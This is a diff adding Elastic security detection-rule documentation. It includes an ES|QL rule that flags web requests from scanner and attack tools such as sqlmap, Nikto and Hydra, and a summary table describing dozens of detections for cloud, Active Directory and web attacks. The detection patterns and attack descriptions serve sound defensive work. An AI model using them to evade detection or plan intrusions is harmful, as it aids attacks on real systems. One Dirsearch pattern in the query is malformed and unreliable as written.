+- Assess user-agent authenticity and evasiveness by comparing HTTP header order/values and TLS fingerprints (JA3/JA4) to expected clients, and verify true client identity via forwarded-for headers if behind a proxy or CDN.
+
+
+*False positive analysis*
+
+
+- Legitimate, scheduled vulnerability assessments by internal teams (e.g., Nessus, Nikto, or OpenVAS) can generate large volumes of requests with those user-agent strings across many paths.
+- Developer or QA testing using discovery/fuzzing or intercept-proxy tools (Dirsearch, Gobuster, Ffuf, Burp, or OWASP ZAP) may unintentionally target production hosts, producing a short-lived spike with diverse URLs.
+
+
+*Response and remediation*
+
+
+- Immediately contain by blocking or rate-limiting the originating IPs at the WAF/CDN and edge firewall, and add temporary rules to drop or challenge requests that advertise tool user agents such as "nikto", "sqlmap", "dirsearch", "wpscan", "gobuster", or "burp".
+- If traffic is proxied (CDN/reverse proxy), identify the true client via forwarded headers and extend blocks at both layers, enabling bot management or JS challenges on swept paths like /admin, /.git, /.env, /backup, and common discovery endpoints.
+- Eradicate exposure by removing or restricting access to sensitive files and directories uncovered by the scans, rotating any credentials or API keys found, invalidating active sessions, and disabling public access to administrative panels until hardened.
+- Recover by verifying no unauthorized changes or data exfiltration occurred, tuning per-IP and per-path rate limits to prevent path-sweeps while preserving legitimate traffic, and reintroducing normal rules only after fixes are deployed and stability is confirmed.
+- Escalate to incident response if sensitive files are successfully downloaded (HTTP 200/206 on /.git, /.env, or backups), any login or account creation succeeds, multiple hosts or environments are targeted, or activity persists after blocking via UA spoofing or rapid IP rotation.
+- Harden long term by enforcing WAF signatures for known scanner UAs and path patterns, denying directory listing and direct access to /.git, /.env, /backup and similar artifacts, requiring MFA/VPN for /admin and management APIs, and deploying auto-ban controls like fail2ban or mod_security.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+from logs-network_traffic.http-*, logs-network_traffic.tls-*, logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*
+
+| eval Esql.user_agent_original_lower = to_lower(user_agent.original)
+
+| where
+    (url.original is not null or url.full is not null) and
+  (
+		Esql.user_agent_original_lower like "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/74.0.3729.169 safari/537.36" or // Nikto
+		Esql.user_agent_original_lower like "nikto*" or // Nikto
+		Esql.user_agent_original_lower like "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)" or // Nessus Vulnerability Scanner
+        Esql.user_agent_original_lower like "*nessus*" or // Nessus Vulnerability Scanner
+		Esql.user_agent_original_lower like "sqlmap/*" or // SQLMap
+		Esql.user_agent_original_lower like "wpscan*" or // WPScan
+		Esql.user_agent_original_lower like "feroxbuster/*" or // Feroxbuster
+		Esql.user_agent_original_lower like "masscan*" or // Masscan & masscan-ng
+		Esql.user_agent_original_lower like "fuzz*" or // Ffuf
+		Esql.user_agent_original_lower like "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/user_agent.original like~ 87.0.4280.88 safari/537.36" or // Dirsearch
+		Esql.user_agent_original_lower like "mozilla/4.0 (compatible; msie 6.0; windows nt 5.1)" or // Dirb
+		Esql.user_agent_original_lower like "dirbuster*" or // Dirbuster
+		Esql.user_agent_original_lower like "gobuster/*" or // Gobuster
+        Esql.user_agent_original_lower like "*dirsearch*" or // dirsearch
+		Esql.user_agent_original_lower like "*nmap*" or // Nmap Scripting Engine
+        Esql.user_agent_original_lower like "*hydra*" or // Hydra Brute Forcer
+        Esql.user_agent_original_lower like "*w3af*" or // w3af Web Application Attack and Audit Framework
+        Esql.user_agent_original_lower like "*arachni*" or // Arachni Web Application Security Scanner
+        Esql.user_agent_original_lower like "*skipfish*" or // Skipfish Web Application Security Scanner
+        Esql.user_agent_original_lower like "*openvas*" or // OpenVAS Vulnerability Scanner
+        Esql.user_agent_original_lower like "*acunetix*" or // Acunetix Vulnerability Scanner
+        Esql.user_agent_original_lower like "*zap*" or // OWASP ZAP
+        Esql.user_agent_original_lower like "*burp*" // Burp Suite
+  )
+
+| eval Esql.url_text  = case(url.original is not null, url.original, url.full)
+| eval Esql.url_lower = to_lower(Esql.url_text)
+
+| keep
+    @timestamp,
+    event.dataset,
+    user_agent.original,
+    source.ip,
+    agent.id,
+    host.name,
+	Esql.url_lower,
+    Esql.user_agent_original_lower
+| stats
+    Esql.event_count = count(),
+    Esql.url_path_count_distinct = count_distinct(Esql.url_lower),
+    Esql.host_name_values = values(host.name),
+    Esql.agent_id_values = values(agent.id),
+    Esql.url_path_values = values(Esql.url_lower),
+    Esql.user_agent_original_values = values(Esql.user_agent_original_lower),
+    Esql.event_dataset_values = values(event.dataset)
+    by source.ip, agent.id
+| where
+    Esql.event_count > 50 and Esql.url_path_count_distinct > 10
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Reconnaissance
+** ID: TA0043
+** Reference URL: https://attack.mitre.org/tactics/TA0043/
+* Technique:
+** Name: Active Scanning
+** ID: T1595
+** Reference URL: https://attack.mitre.org/techniques/T1595/
+* Sub-technique:
+** Name: Scanning IP Blocks
+** ID: T1595.001
+** Reference URL: https://attack.mitre.org/techniques/T1595/001/
+* Sub-technique:
+** Name: Vulnerability Scanning
+** ID: T1595.002
+** Reference URL: https://attack.mitre.org/techniques/T1595/002/
+* Sub-technique:
+** Name: Wordlist Scanning
+** ID: T1595.003
+** Reference URL: https://attack.mitre.org/techniques/T1595/003/
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: Brute Force
+** ID: T1110
+** Reference URL: https://attack.mitre.org/techniques/T1110/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rules-8-19-11-appendix.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rules-8-19-11-appendix.asciidoc
new file mode 100644
index 0000000000..f6cad16d98
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rules-8-19-11-appendix.asciidoc
@@ -0,0 +1,97 @@
+["appendix",role="exclude",id="prebuilt-rule-8-19-11-prebuilt-rules-8-19-11-appendix"]
+= Downloadable rule update v8.19.11
+
+This section lists all updates associated with version 8.19.11 of the Fleet integration *Prebuilt Security Detection Rules*.
+
+
+include::prebuilt-rule-8-19-11-panw-and-elastic-defend-command-and-control-correlation.asciidoc[]
+include::prebuilt-rule-8-19-11-socks-traffic-from-an-unusual-process.asciidoc[]
+include::prebuilt-rule-8-19-11-potential-git-cve-2025-48384-exploitation.asciidoc[]
+include::prebuilt-rule-8-19-11-multiple-elastic-defend-alerts-by-agent.asciidoc[]
+include::prebuilt-rule-8-19-11-elastic-defend-and-network-security-alerts-correlation.asciidoc[]
+include::prebuilt-rule-8-19-11-elastic-defend-and-email-alerts-correlation.asciidoc[]
+include::prebuilt-rule-8-19-11-alerts-in-different-att-ck-tactics-by-host.asciidoc[]
+include::prebuilt-rule-8-19-11-web-server-potential-command-injection-request.asciidoc[]
+include::prebuilt-rule-8-19-11-web-server-discovery-or-fuzzing-activity.asciidoc[]
+include::prebuilt-rule-8-19-11-potential-spike-in-web-server-error-logs.asciidoc[]
+include::prebuilt-rule-8-19-11-web-server-potential-spike-in-error-response-codes.asciidoc[]
+include::prebuilt-rule-8-19-11-web-server-suspicious-user-agent-requests.asciidoc[]
+include::prebuilt-rule-8-19-11-azure-compute-snapshot-deletion-by-unusual-user-and-resource-group.asciidoc[]
+include::prebuilt-rule-8-19-11-azure-compute-snapshot-deletions-by-user.asciidoc[]
+include::prebuilt-rule-8-19-11-okta-multiple-os-names-detected-for-a-single-dt-hash.asciidoc[]
+include::prebuilt-rule-8-19-11-proxy-shell-execution-via-busybox.asciidoc[]
+include::prebuilt-rule-8-19-11-curl-or-wget-egress-network-connection-via-lolbin.asciidoc[]
+include::prebuilt-rule-8-19-11-potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation.asciidoc[]
+include::prebuilt-rule-8-19-11-command-obfuscation-via-unicode-modifier-letters.asciidoc[]
+include::prebuilt-rule-8-19-11-agent-spoofing-mismatched-agent-id.asciidoc[]
+include::prebuilt-rule-8-19-11-agent-spoofing-multiple-hosts-using-same-agent.asciidoc[]
+include::prebuilt-rule-8-19-11-elastic-agent-service-terminated.asciidoc[]
+include::prebuilt-rule-8-19-11-aws-cloudtrail-log-created.asciidoc[]
+include::prebuilt-rule-8-19-11-aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc[]
+include::prebuilt-rule-8-19-11-aws-iam-user-addition-to-group.asciidoc[]
+include::prebuilt-rule-8-19-11-aws-secrets-manager-rapid-secrets-retrieval.asciidoc[]
+include::prebuilt-rule-8-19-11-aws-cloudtrail-log-deleted.asciidoc[]
+include::prebuilt-rule-8-19-11-aws-cloudtrail-log-suspended.asciidoc[]
+include::prebuilt-rule-8-19-11-aws-cloudwatch-alarm-deletion.asciidoc[]
+include::prebuilt-rule-8-19-11-deprecated-aws-elasticache-security-group-created.asciidoc[]
+include::prebuilt-rule-8-19-11-deprecated-aws-elasticache-security-group-modified-or-deleted.asciidoc[]
+include::prebuilt-rule-8-19-11-aws-guardduty-detector-deletion.asciidoc[]
+include::prebuilt-rule-8-19-11-aws-s3-bucket-configuration-deletion.asciidoc[]
+include::prebuilt-rule-8-19-11-aws-cloudtrail-log-updated.asciidoc[]
+include::prebuilt-rule-8-19-11-aws-cloudwatch-log-group-deletion.asciidoc[]
+include::prebuilt-rule-8-19-11-aws-cloudwatch-log-stream-deletion.asciidoc[]
+include::prebuilt-rule-8-19-11-aws-iam-deactivation-of-mfa-device.asciidoc[]
+include::prebuilt-rule-8-19-11-aws-iam-group-deletion.asciidoc[]
+include::prebuilt-rule-8-19-11-deprecated-aws-rds-security-group-deletion.asciidoc[]
+include::prebuilt-rule-8-19-11-deprecated-aws-rds-instance-cluster-stoppage.asciidoc[]
+include::prebuilt-rule-8-19-11-aws-ec2-instance-console-login-via-assumed-role.asciidoc[]
+include::prebuilt-rule-8-19-11-aws-iam-virtual-mfa-device-registration-attempt-with-session-token.asciidoc[]
+include::prebuilt-rule-8-19-11-aws-iam-api-calls-via-temporary-session-tokens.asciidoc[]
+include::prebuilt-rule-8-19-11-aws-iam-group-creation.asciidoc[]
+include::prebuilt-rule-8-19-11-aws-iam-roles-anywhere-profile-creation.asciidoc[]
+include::prebuilt-rule-8-19-11-aws-iam-roles-anywhere-trust-anchor-created-with-external-ca.asciidoc[]
+include::prebuilt-rule-8-19-11-deprecated-aws-rds-cluster-creation.asciidoc[]
+include::prebuilt-rule-8-19-11-deprecated-aws-rds-security-group-creation.asciidoc[]
+include::prebuilt-rule-8-19-11-deprecated-aws-rds-instance-creation.asciidoc[]
+include::prebuilt-rule-8-19-11-aws-iam-saml-provider-updated.asciidoc[]
+include::prebuilt-rule-8-19-11-azure-diagnostic-settings-deletion.asciidoc[]
+include::prebuilt-rule-8-19-11-microsoft-365-global-administrator-role-assigned.asciidoc[]
+include::prebuilt-rule-8-19-11-potential-ssh-password-grabbing-via-strace.asciidoc[]
+include::prebuilt-rule-8-19-11-remote-file-creation-in-world-writeable-directory.asciidoc[]
+include::prebuilt-rule-8-19-11-potential-execution-via-xzbackdoor.asciidoc[]
+include::prebuilt-rule-8-19-11-connection-to-commonly-abused-web-services.asciidoc[]
+include::prebuilt-rule-8-19-11-privileged-account-brute-force.asciidoc[]
+include::prebuilt-rule-8-19-11-multiple-logon-failure-followed-by-logon-success.asciidoc[]
+include::prebuilt-rule-8-19-11-multiple-logon-failure-from-the-same-source-address.asciidoc[]
+include::prebuilt-rule-8-19-11-firsttime-seen-account-performing-dcsync.asciidoc[]
+include::prebuilt-rule-8-19-11-potential-active-directory-replication-account-backdoor.asciidoc[]
+include::prebuilt-rule-8-19-11-potential-kerberos-coercion-via-dns-based-spn-spoofing.asciidoc[]
+include::prebuilt-rule-8-19-11-access-to-a-sensitive-ldap-attribute.asciidoc[]
+include::prebuilt-rule-8-19-11-potential-machine-account-relay-attack-via-smb.asciidoc[]
+include::prebuilt-rule-8-19-11-multiple-vault-web-credentials-read.asciidoc[]
+include::prebuilt-rule-8-19-11-sensitive-privilege-seenabledelegationprivilege-assigned-to-a-user.asciidoc[]
+include::prebuilt-rule-8-19-11-potential-shadow-credentials-added-to-ad-object.asciidoc[]
+include::prebuilt-rule-8-19-11-user-account-exposed-to-kerberoasting.asciidoc[]
+include::prebuilt-rule-8-19-11-suspicious-remote-registry-access-via-sebackupprivilege.asciidoc[]
+include::prebuilt-rule-8-19-11-suspicious-access-to-ldap-attributes.asciidoc[]
+include::prebuilt-rule-8-19-11-outbound-scheduled-task-activity-via-powershell.asciidoc[]
+include::prebuilt-rule-8-19-11-remote-windows-service-installed.asciidoc[]
+include::prebuilt-rule-8-19-11-remote-scheduled-task-creation-via-rpc.asciidoc[]
+include::prebuilt-rule-8-19-11-adminsdholder-backdoor.asciidoc[]
+include::prebuilt-rule-8-19-11-krbtgt-delegation-backdoor.asciidoc[]
+include::prebuilt-rule-8-19-11-account-password-reset-remotely.asciidoc[]
+include::prebuilt-rule-8-19-11-a-scheduled-task-was-created.asciidoc[]
+include::prebuilt-rule-8-19-11-unusual-scheduled-task-update.asciidoc[]
+include::prebuilt-rule-8-19-11-adminsdholder-sdprop-exclusion-added.asciidoc[]
+include::prebuilt-rule-8-19-11-suspicious-service-was-installed-in-the-system.asciidoc[]
+include::prebuilt-rule-8-19-11-suspicious-wmi-event-subscription-created.asciidoc[]
+include::prebuilt-rule-8-19-11-temporarily-scheduled-task-creation.asciidoc[]
+include::prebuilt-rule-8-19-11-delegated-managed-service-account-modification-by-an-unusual-user.asciidoc[]
+include::prebuilt-rule-8-19-11-process-creation-via-secondary-logon.asciidoc[]
+include::prebuilt-rule-8-19-11-modification-of-the-mspkiaccountcredentials.asciidoc[]
+include::prebuilt-rule-8-19-11-dmsa-account-creation-by-an-unusual-user.asciidoc[]
+include::prebuilt-rule-8-19-11-service-creation-via-local-kerberos-authentication.asciidoc[]
+include::prebuilt-rule-8-19-11-potential-privileged-escalation-via-samaccountname-spoofing.asciidoc[]
+include::prebuilt-rule-8-19-11-remote-computer-account-dnshostname-update.asciidoc[]
+include::prebuilt-rule-8-19-11-suspicious-seincreasebasepriorityprivilege-use.asciidoc[]
+include::prebuilt-rule-8-19-11-deprecated-aws-root-login-without-mfa.asciidoc[]
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rules-8-19-11-summary.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rules-8-19-11-summary.asciidoc
new file mode 100644
index 0000000000..de087dfd0e
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rules-8-19-11-summary.asciidoc
@@ -0,0 +1,194 @@
+[[prebuilt-rule-8-19-11-prebuilt-rules-8-19-11-summary]]
+[role="xpack"]
+== Update v8.19.11
+
+This section lists all updates associated with version 8.19.11 of the Fleet integration *Prebuilt Security Detection Rules*.
+
+
+[width="100%",options="header"]
+|==============================================
+|Rule |Description |Status |Version
+
+|<<prebuilt-rule-8-19-11-panw-and-elastic-defend-command-and-control-correlation, PANW and Elastic Defend - Command and Control Correlation>> | This detection correlates Palo Alto Networks (PANW) command and control events with Elastic Defend network events to identify the source process performing the network activity. | new | 1 
+
+|<<prebuilt-rule-8-19-11-socks-traffic-from-an-unusual-process, SOCKS Traffic from an Unusual Process>> | This detection correlates FortiGate's application control SOCKS events with Elastic Defend network event to identify the source process performing SOCKS traffic. Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. | new | 1 
+
+|<<prebuilt-rule-8-19-11-potential-git-cve-2025-48384-exploitation, Potential Git CVE-2025-48384 Exploitation>> | This rule detects potential exploitation of CVE-2025-48384 via Git. This vulnerability allows attackers to execute arbitrary code by leveraging Git's recursive clone feature to fetch and execute malicious scripts from a remote repository. | new | 1 
+
+|<<prebuilt-rule-8-19-11-multiple-elastic-defend-alerts-by-agent, Multiple Elastic Defend Alerts by Agent>> | This rule uses alert data to determine when multiple alerts from Elastic Defend involving the same host are triggered. Analysts can use this to prioritize triage and response, as these hosts are more likely to be compromised. | new | 2 
+
+|<<prebuilt-rule-8-19-11-elastic-defend-and-network-security-alerts-correlation, Elastic Defend and Network Security Alerts Correlation>> | This rule correlate any Elastic Defend alert with a set of suspicious events from Network security devices like Palo Alto Networks (PANW) and Fortinet Fortigate by host.ip and source.ip. This may indicate that this host is compromised and triggering multi-datasource alerts. | new | 2 
+
+|<<prebuilt-rule-8-19-11-elastic-defend-and-email-alerts-correlation, Elastic Defend and Email Alerts Correlation>> | This rule correlates any Elastic Defend alert with an email security related alert by target user name. This may indicate the successful execution of a phishing attack. | new | 2 
+
+|<<prebuilt-rule-8-19-11-alerts-in-different-att-ck-tactics-by-host, Alerts in Different ATT&CK Tactics by Host>> | This rule uses alert data to determine when multiple alerts in different phases of an attack involving the same host are triggered and where the accumulated risk score is higher than a defined threshold. Analysts can use this to prioritize triage and response, as these hosts are more likely to be compromised. | new | 2 
+
+|<<prebuilt-rule-8-19-11-web-server-potential-command-injection-request, Web Server Potential Command Injection Request>> | This rule detects potential command injection attempts via web server requests by identifying URLs that contain suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby, PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to potential threats early. | new | 2 
+
+|<<prebuilt-rule-8-19-11-web-server-discovery-or-fuzzing-activity, Web Server Discovery or Fuzzing Activity>> | This rule detects potential web server discovery or fuzzing activity by identifying a high volume of HTTP GET requests resulting in 404 or 403 status codes from a single source IP address within a short timeframe. Such patterns may indicate that an attacker is attempting to discover hidden or unlinked resources on a web server, which can be a precursor to more targeted attacks. | new | 2 
+
+|<<prebuilt-rule-8-19-11-potential-spike-in-web-server-error-logs, Potential Spike in Web Server Error Logs>> | This rule detects unusual spikes in error logs from web servers, which may indicate reconnaissance activities such as vulnerability scanning or fuzzing attempts by adversaries. These activities often generate a high volume of error responses as they probe for weaknesses in web applications. Error response codes may potentially indicate server-side issues that could be exploited. | new | 2 
+
+|<<prebuilt-rule-8-19-11-web-server-potential-spike-in-error-response-codes, Web Server Potential Spike in Error Response Codes>> | This rule detects unusual spikes in error response codes (500, 502, 503, 504) from web servers, which may indicate reconnaissance activities such as vulnerability scanning or fuzzing attempts by adversaries. These activities often generate a high volume of error responses as they probe for weaknesses in web applications. Error response codes may potentially indicate server-side issues that could be exploited. | new | 2 
+
+|<<prebuilt-rule-8-19-11-web-server-suspicious-user-agent-requests, Web Server Suspicious User Agent Requests>> | This rule detects unusual spikes in web server requests with uncommon or suspicious user-agent strings. Such activity may indicate reconnaissance attempts by attackers trying to identify vulnerabilities in web applications or servers. These user-agents are often associated with automated tools used for scanning, vulnerability assessment, or brute-force attacks. | new | 2 
+
+|<<prebuilt-rule-8-19-11-azure-compute-snapshot-deletion-by-unusual-user-and-resource-group, Azure Compute Snapshot Deletion by Unusual User and Resource Group>> | Identifies when an Azure disk snapshot is deleted by an unusual user in a specific resource group. Snapshots are critical for backup, disaster recovery, and forensic analysis. Adversaries may delete snapshots to prevent data recovery, eliminate forensic evidence, or disrupt backup strategies before executing ransomware or other destructive attacks. Monitoring snapshot deletions is essential for detecting potential attacks targeting backup and recovery capabilities. | new | 1 
+
+|<<prebuilt-rule-8-19-11-azure-compute-snapshot-deletions-by-user, Azure Compute Snapshot Deletions by User>> | Identifies when a single user or service principal deletes multiple Azure disk snapshots within a short time period. This behavior may indicate an adversary attempting to inhibit system recovery capabilities, destroy backup evidence, or prepare for a ransomware attack. Mass deletion of snapshots eliminates restore points and significantly impacts disaster recovery capabilities, making it a critical indicator of potentially malicious activity. | new | 1 
+
+|<<prebuilt-rule-8-19-11-okta-multiple-os-names-detected-for-a-single-dt-hash, Okta Multiple OS Names Detected for a Single DT Hash>> | Identifies when a single Okta device token hash (dt_hash) is associated with multiple operating system types. This is highly anomalous because a device token is tied to a specific device and its operating system. This alert strongly indicates that an attacker has stolen a device token and is using it to impersonate a legitimate user from a different machine. | new | 1 
+
+|<<prebuilt-rule-8-19-11-proxy-shell-execution-via-busybox, Proxy Shell Execution via Busybox>> | Detects the execution of a shell through Busybox. Attackers may use this technique to execute shells while attempting to evade detection. | new | 1 
+
+|<<prebuilt-rule-8-19-11-curl-or-wget-egress-network-connection-via-lolbin, Curl or Wget Egress Network Connection via LoLBin>> | This rule detects the execution of curl or wget binaries through a GTFOBin (living-off-the-land) technique in Linux environments. Attackers may exploit these utilities to download and execute malicious files from the internet while attempting to evade detection. The rule specifically targets binaries that are capable of executing shell commands directly from the proxied binary, rather than just spawning a shell. | new | 1 
+
+|<<prebuilt-rule-8-19-11-potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation, Potential Webshell Deployed via Apache Struts CVE-2023-50164 Exploitation>> | Identifies successful exploitation of CVE-2023-50164, a critical path traversal vulnerability in Apache Struts 2 file upload functionality. This high-fidelity rule detects a specific attack sequence where a malicious multipart/form-data POST request with WebKitFormBoundary is made to a Struts .action upload endpoint, immediately followed by the creation of a JSP web shell file by a Java process in Tomcat's webapps directories. This correlated activity indicates active exploitation resulting in remote code execution capability through unauthorized file upload and web shell deployment. | new | 1 
+
+|<<prebuilt-rule-8-19-11-command-obfuscation-via-unicode-modifier-letters, Command Obfuscation via Unicode Modifier Letters>> | Identifies the presence of unicode modifier letters in the process command_line. Adversaries sometimes replace ASCII characters with visually similar Unicode modifier letters or combining marks to evade simple string-based detections. | new | 1 
+
+|<<prebuilt-rule-8-19-11-agent-spoofing-mismatched-agent-id, Agent Spoofing - Mismatched Agent ID>> | Detects events that have a mismatch on the expected event agent ID. The status "agent_id_mismatch/mismatch" occurs when the expected agent ID associated with the API key does not match the actual agent ID in an event. This could indicate attempts to spoof events in order to masquerade actual activity to evade detection. | update | 105 
+
+|<<prebuilt-rule-8-19-11-agent-spoofing-multiple-hosts-using-same-agent, Agent Spoofing - Multiple Hosts Using Same Agent>> | Detects when multiple hosts are using the same agent ID. This could occur in the event of an agent being taken over and used to inject illegitimate documents into an instance as an attempt to spoof events in order to masquerade actual activity to evade detection. | update | 105 
+
+|<<prebuilt-rule-8-19-11-elastic-agent-service-terminated, Elastic Agent Service Terminated>> | Identifies the Elastic endpoint agent has stopped and is no longer running on the host. Adversaries may attempt to disable security monitoring tools in an attempt to evade detection or prevention capabilities during an intrusion. This may also indicate an issue with the agent itself and should be addressed to ensure defensive measures are back in a stable state. | update | 111 
+
+|<<prebuilt-rule-8-19-11-aws-cloudtrail-log-created, AWS CloudTrail Log Created>> | Detects creation of a new AWS CloudTrail trail via CreateTrail API. While legitimate during onboarding or auditing improvements, adversaries can create trails that write to attacker-controlled destinations, limit regions, or otherwise subvert monitoring objectives. New trails should be validated for destination ownership, encryption, multi-region coverage, and organizational scope. | update | 211 
+
+|<<prebuilt-rule-8-19-11-aws-iam-compromisedkeyquarantine-policy-attached-to-user, AWS IAM CompromisedKeyQuarantine Policy Attached to User>> | This rule looks for use of the IAM `AttachUserPolicy` API operation to attach the `CompromisedKeyQuarantine` or `CompromisedKeyQuarantineV2` AWS managed policies to an existing IAM user. This policy denies access to certain actions and is applied by the AWS team in the event that an IAM user's credentials have been compromised or exposed publicly. | update | 5 
+
+|<<prebuilt-rule-8-19-11-aws-iam-user-addition-to-group, AWS IAM User Addition to Group>> | Identifies the addition of a user to a specified group in AWS Identity and Access Management (IAM). Any user added to a group automatically gains the permissions that are assigned to the group. If the target group carries elevated or admin privileges, this action can instantly grant high-risk permissions useful for credential misuse, lateral movement, or privilege escalation. | update | 212 
+
+|<<prebuilt-rule-8-19-11-aws-secrets-manager-rapid-secrets-retrieval, AWS Secrets Manager Rapid Secrets Retrieval>> | Identifies rapid secret retrieval activity from AWS Secrets Manager using the GetSecretValue or BatchGetSecretValue API actions. Adversaries who compromise an IAM user, instance role, or temporary credentials may attempt to enumerate or exfiltrate secrets in bulk to escalate privileges, move laterally, or gain persistence. This rule detects 20 or more unique secret retrievals by the same user identity within a short time window, which may indicate credential compromise or automated secret harvesting. | update | 6 
+
+|<<prebuilt-rule-8-19-11-aws-cloudtrail-log-deleted, AWS CloudTrail Log Deleted>> | Detects deletion of an AWS CloudTrail trail via DeleteTrail API. Removing trails is a high-risk action that destroys an audit control plane and is frequently paired with other destructive or stealthy operations. Validate immediately and restore compliant logging. | update | 213 
+
+|<<prebuilt-rule-8-19-11-aws-cloudtrail-log-suspended, AWS CloudTrail Log Suspended>> | Detects Cloudtrail logging suspension via StopLogging API. Stopping CloudTrail eliminates forward audit visibility and is a classic defense evasion step before sensitive changes or data theft. Investigate immediately and determine what occurred during the logging gap. | update | 212 
+
+|<<prebuilt-rule-8-19-11-aws-cloudwatch-alarm-deletion, AWS CloudWatch Alarm Deletion>> | Detects the deletion of one or more Amazon CloudWatch alarms using the "DeleteAlarms" API. CloudWatch alarms are critical for monitoring metrics and triggering alerts when thresholds are exceeded. An adversary may delete alarms to impair visibility, silence alerts, and evade detection following malicious activity. This behavior may occur during post-exploitation or cleanup phases to remove traces of compromise or disable automated responses. | update | 212 
+
+|<<prebuilt-rule-8-19-11-deprecated-aws-elasticache-security-group-created, Deprecated - AWS ElastiCache Security Group Created>> | Identifies when an ElastiCache security group has been created. Amazon EC2-Classic and ElastiCache CacheSecurityGroups have been retired. Modern ElastiCache deployments run in a VPC and use standard EC2 security groups instead. This rule should be retained only for historical log analysis on legacy CloudTrail data. We recommend relying on "AWS EC2 Security Group Configuration Change" rule for network-control changes impacting ElastiCache in VPC-based deployments. | update | 210 
+
+|<<prebuilt-rule-8-19-11-deprecated-aws-elasticache-security-group-modified-or-deleted, Deprecated - AWS ElastiCache Security Group Modified or Deleted>> | Identifies when an ElastiCache security group has been modified or deleted. Amazon EC2-Classic and ElastiCache CacheSecurityGroups have been retired. Modern ElastiCache deployments run in a VPC and use standard EC2 security groups instead. This rule should be retained only for historical log analysis on legacy CloudTrail data. We recommend relying on "AWS EC2 Security Group Configuration Change" rule for network-control changes impacting ElastiCache in VPC-based deployments. | update | 210 
+
+|<<prebuilt-rule-8-19-11-aws-guardduty-detector-deletion, AWS GuardDuty Detector Deletion>> | Detects the deletion of an Amazon GuardDuty detector. GuardDuty provides continuous monitoring for malicious or unauthorized activity across AWS accounts. Deleting the detector disables this visibility, stopping all threat detection and removing existing findings. Adversaries may delete GuardDuty detectors to impair security monitoring and evade detection during or after an intrusion. This rule identifies successful "DeleteDetector" API calls and can indicate a deliberate defense evasion attempt. | update | 210 
+
+|<<prebuilt-rule-8-19-11-aws-s3-bucket-configuration-deletion, AWS S3 Bucket Configuration Deletion>> | Identifies the deletion of critical Amazon S3 bucket configurations such as bucket policies, lifecycle configurations or encryption settings. These actions are typically administrative but may also represent adversarial attempts to remove security controls, disable data retention mechanisms, or conceal evidence of malicious activity. Adversaries who gain access to AWS credentials may delete logging, lifecycle, or policy configurations to disrupt forensic visibility and inhibit recovery. For example, deleting a bucket policy can open a bucket to public access or remove protective access restrictions, while deleting lifecycle rules can prevent object archival or automatic backups. Such actions often precede data exfiltration or destructive operations and should be reviewed in context with related S3 or IAM events. | update | 211 
+
+|<<prebuilt-rule-8-19-11-aws-cloudtrail-log-updated, AWS CloudTrail Log Updated>> | Detects updates to an existing CloudTrail trail via UpdateTrail API which may reduce visibility, change destinations, or weaken integrity (e.g., removing global events, moving the S3 destination, or disabling validation). Adversaries can modify trails to evade detection while maintaining a semblance of logging. Validate any configuration change against approved baselines. | update | 212 
+
+|<<prebuilt-rule-8-19-11-aws-cloudwatch-log-group-deletion, AWS CloudWatch Log Group Deletion>> | Detects the deletion of an Amazon CloudWatch Log Group using the "DeleteLogGroup" API. CloudWatch log groups store operational and security logs for AWS services and custom applications. Deleting a log group permanently removes all associated log streams and historical log data, which can eliminate forensic evidence and disrupt security monitoring pipelines. Adversaries may delete log groups to conceal malicious activity, disable log forwarding, or impede incident response. | update | 212 
+
+|<<prebuilt-rule-8-19-11-aws-cloudwatch-log-stream-deletion, AWS CloudWatch Log Stream Deletion>> | Detects the deletion of an Amazon CloudWatch log stream using the "DeleteLogStream" API. Deleting a log stream permanently removes its associated log events and may disrupt security visibility, break audit trails, or suppress forensic evidence. Adversaries may delete log streams to conceal malicious actions, impair monitoring pipelines, or remove artifacts generated during post-exploitation activity. | update | 212 
+
+|<<prebuilt-rule-8-19-11-aws-iam-deactivation-of-mfa-device, AWS IAM Deactivation of MFA Device>> | Detects the deactivation of a Multi-Factor Authentication (MFA) device in AWS Identity and Access Management (IAM). MFA provides critical protection against unauthorized access by requiring a second factor for authentication. Adversaries or compromised administrators may deactivate MFA devices to weaken account protections, disable strong authentication, or prepare for privilege escalation or persistence. This rule monitors successful DeactivateMFADevice API calls, which represent the point at which MFA protection is actually removed. | update | 213 
+
+|<<prebuilt-rule-8-19-11-aws-iam-group-deletion, AWS IAM Group Deletion>> | Detects when an IAM group is deleted using the DeleteGroup API call. Deletion of an IAM group may represent a malicious attempt to remove audit trails, disrupt operations, or hide adversary activity (for example after using the group briefly for privileged access). This can be an indicator of impact or cleanup in an attack lifecycle. | update | 210 
+
+|<<prebuilt-rule-8-19-11-deprecated-aws-rds-security-group-deletion, Deprecated - AWS RDS Security Group Deletion>> | Identifies the deletion of an Amazon Relational Database Service (RDS) Security group. Modern RDS deployments run in a VPC and use standard EC2 security groups instead. This rule should be retained only for historical log analysis on legacy CloudTrail data. We recommend relying on "AWS EC2 Security Group Configuration Change" rule for network-control changes impacting RDS in VPC-based deployments. | update | 210 
+
